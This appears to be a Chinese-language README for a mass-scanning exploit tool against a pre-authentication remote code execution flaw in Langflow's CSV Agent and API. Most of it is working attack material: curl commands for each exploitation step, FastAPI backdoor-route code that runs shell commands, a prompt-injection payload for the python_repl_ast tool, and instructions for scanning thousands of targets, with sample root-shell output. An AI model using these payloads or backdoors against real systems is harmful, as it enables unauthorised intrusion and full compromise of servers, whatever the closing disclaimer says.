CVE-2026-27966 是影响 Langflow 1.8.0 之前版本的严重级别(CVSS 9.8)预认证远程代码执行漏洞。该漏洞源于 CSV Agent 组件中硬编码了 allow_dangerous_code=True,导致 LangChain 的 python_repl_ast 工具被暴露于未经认证的提示注入攻击。
此外,多个 API 端点缺少适当认证,使得攻击者即使在不使用 CSV Agent 的实例上也能进行直接路由注入和流顶点注入。
| Langflow 版本 | 状态 |
|---|---|
| < 1.8.0 | 易受攻击 |
| >= 1.8.0 | 已修补 |
该扫描器测试三种不同的利用途径:
GET /api/v1/auto_login → 获取会话 / API 密钥
POST /api/v1/custom_component → 注册后门路由
GET /api/{backdoor}?c=command → RCE
POST /api/v1/custom_component → 注册后门路由
GET /api/{backdoor}?c=command → RCE
GET /api/v1/flows/basic_examples → 提取流 UUID(暴露 26 个)
POST /api/v1/build/{UUID}/vertices → 注入恶意顶点
POST /api/v1/run/{UUID} → 执行顶点代码 → RCE
在 src/lfx/src/lfx/components/langchain_utilities/csv_agent.py 中,CSV Agent 节点硬编码了 allow_dangerous_code=True,这会自动暴露 LangChain 的 python_repl_ast 工具:
agent_kwargs = {
"verbose": self.verbose,
"allow_dangerous_code": True, # hardcoded — cannot be disabled via UI
}
agent_csv = create_csv_agent(..., **agent_kwargs)
这允许任何到达 CSV Agent 的提示通过以下方式执行任意 Python 代码:
Action: python_repl_ast
Action Input: __import__("os").system("command")
Langflow REST API 暴露了多个无需认证的端点:
在启用了 auto_login 的实例上(许多 Docker 部署中的默认配置),攻击者可以获得有效的会话和 API 密钥:
curl -sk 'https://target.com/api/v1/auto_login'
# Returns session with access_token → full API access
有了有效的 API 密钥,攻击者便可以使用 POST /api/v1/custom_component 注册一个后门 FastAPI 路由,该路由会一直驻留在内存中,直到服务器重启:
from fastapi import APIRouter, Query
router = APIRouter()
@router.get("/sh")
async def cmd(c: str = Query("")):
import os
return os.popen(c).read()
app.include_router(router, prefix="/api")
git clone https://github.com/shinthink/CVE-2026-27966.git
cd CVE-2026-27966
pip install -r requirements.txt
# Single target
python cve_2026_27966.py -t target.com:7860
# Mass scan
python cve_2026_27966.py -f targets.txt
# Mass scan + save results
python cve_2026_27966.py -f targets.txt -o rce.txt
# Detect only (skip exploitation)
python cve_2026_27966.py -f targets.txt --no-exploit
# Verbose output
python cve_2026_27966.py -f targets.txt -v
-t, --target 单个目标(IP:port 或域名)
-f, --file 目标列表,每行一个
-o, --output 将 RCE 结果保存到文件
--threads 并发工作线程数(默认:30)
--no-exploit 仅检测,跳过 RCE 尝试
-v, --verbose 显示所有结果,包括非 RCE 目标
$ python cve_2026_27966.py -t target.com:7860 -v
CVE-2026-27966 — Langflow RCE Scanner
CVSS 9.8 | Pre-Auth | Route Injection → RCE
Host : target.com:7860
Langflow : YES v1.2.0
Vuln : YES
API Key : NOT REQUIRED
RCE : YES
Output : uid=0(root) gid=0(root) groups=0(root)
Time : 12.3s
CVE-2026-27966 Langflow RCE Scanner
Targets: 4127 | Threads: 30 | Exploit: ON
-------------------------------------------------------
[RCE] 192.168.10.50 v1.2.0 7.3s
uid=0(root) gid=0(root) groups=0(root)
[AUTH] target.internal:4433 v1.2.0 14.1s (API key)
[500/4127] scanning... (12%)
-------------------------------------------------------
Total: 4127 | Langflow: 47 | RCE: 3 | API-Protected: 41
-------------------------------------------------------
步骤 1 — 检测 Langflow
curl -sk 'https://target.com/api/v1/version'
# {"version":"1.2.0","main_version":"1.2.0","package":"Langflow"}
步骤 2 — 提取流 UUID
curl -sk 'https://target.com/api/v1/flows/basic_examples/' | jq '.[0].id'
# "bb0a7390-22a1-4a2e-8d7c-15463e53d9f2"
步骤 3 — 注入后门顶点
curl -sk -X POST 'https://target.com/api/v1/build/{UUID}/vertices' \
-H 'Content-Type: application/json' \
-d '{"id":"bkdr","type":"CustomComponent","data":{"code":"from fastapi import APIRouter\nrouter=APIRouter()\[email protected](\"/sh\")\nasync def cmd(c:str=\"\"):import os;return os.popen(c).read()\napp.include_router(router,prefix=\"/api\")","display_name":"X"}}'
步骤 4 — 执行命令
curl -sk 'https://target.com/api/sh?c=id;hostname;uname -a'
成功利用可在 Langflow Docker 容器中实现 以 root 身份远程执行代码。攻击者随后可以:
仅供教育和授权测试使用。
本软件旨在供执行授权渗透测试的安全专业人员、审计自身基础设施的组织以及研究漏洞利用的研究人员使用。
未经授权访问计算机系统属违法行为,可能违反:
- 美国:《计算机欺诈与滥用法》(18 U.S.C. 1030)
- 印度尼西亚:UU ITE 第 30 条及第 46 条
- 欧盟:第 2013/40/EU 号指令
- 英国:《1990 年计算机滥用法》
作者对滥用行为不承担任何责任。使用本软件即表示您对自己的行为承担全部责任。
| 资源 | 链接 |
|---|
本项目与 Langflow 或 Logspace 无任何关联。
| 端点 | 认证 | 暴露的数据 |
|---|
GET /api/v1/version | 无 | Langflow 版本 |
GET /api/v1/health | 无 | 实例状态 |
GET /api/v1/flows/basic_examples/ | 无 | 26 个示例流的 UUID + 结构 |
POST /api/v1/build/{uuid}/vertices | 无 | 接受任意代码注入 |
POST /api/v1/users/ | 无 | 用户创建(未激活) |
GET /openapi.json | 无 | 完整 API 文档 |
| 指标 | 值 |
|---|
| 攻击向量 | 网络(远程) |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 不变 |
| 机密性 | 高 |
| 完整性 | 高 |
| 可用性 | 高 |
| GitHub 安全公告 | GHSA-3645-fxcv-hqr4 |
| 修复提交 | d8c6480d |
| Metasploit 模块 | Rapid7 |
| NVD 条目 | CVE-2026-27966 |